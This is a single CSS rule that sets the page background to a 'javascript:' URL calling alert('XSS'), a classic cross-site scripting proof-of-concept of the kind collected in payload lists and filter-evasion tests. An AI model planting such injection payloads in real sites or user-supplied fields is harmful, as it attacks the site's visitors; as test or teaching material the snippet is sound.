body {
  background-image: url('javascript:alert("XSS");')
}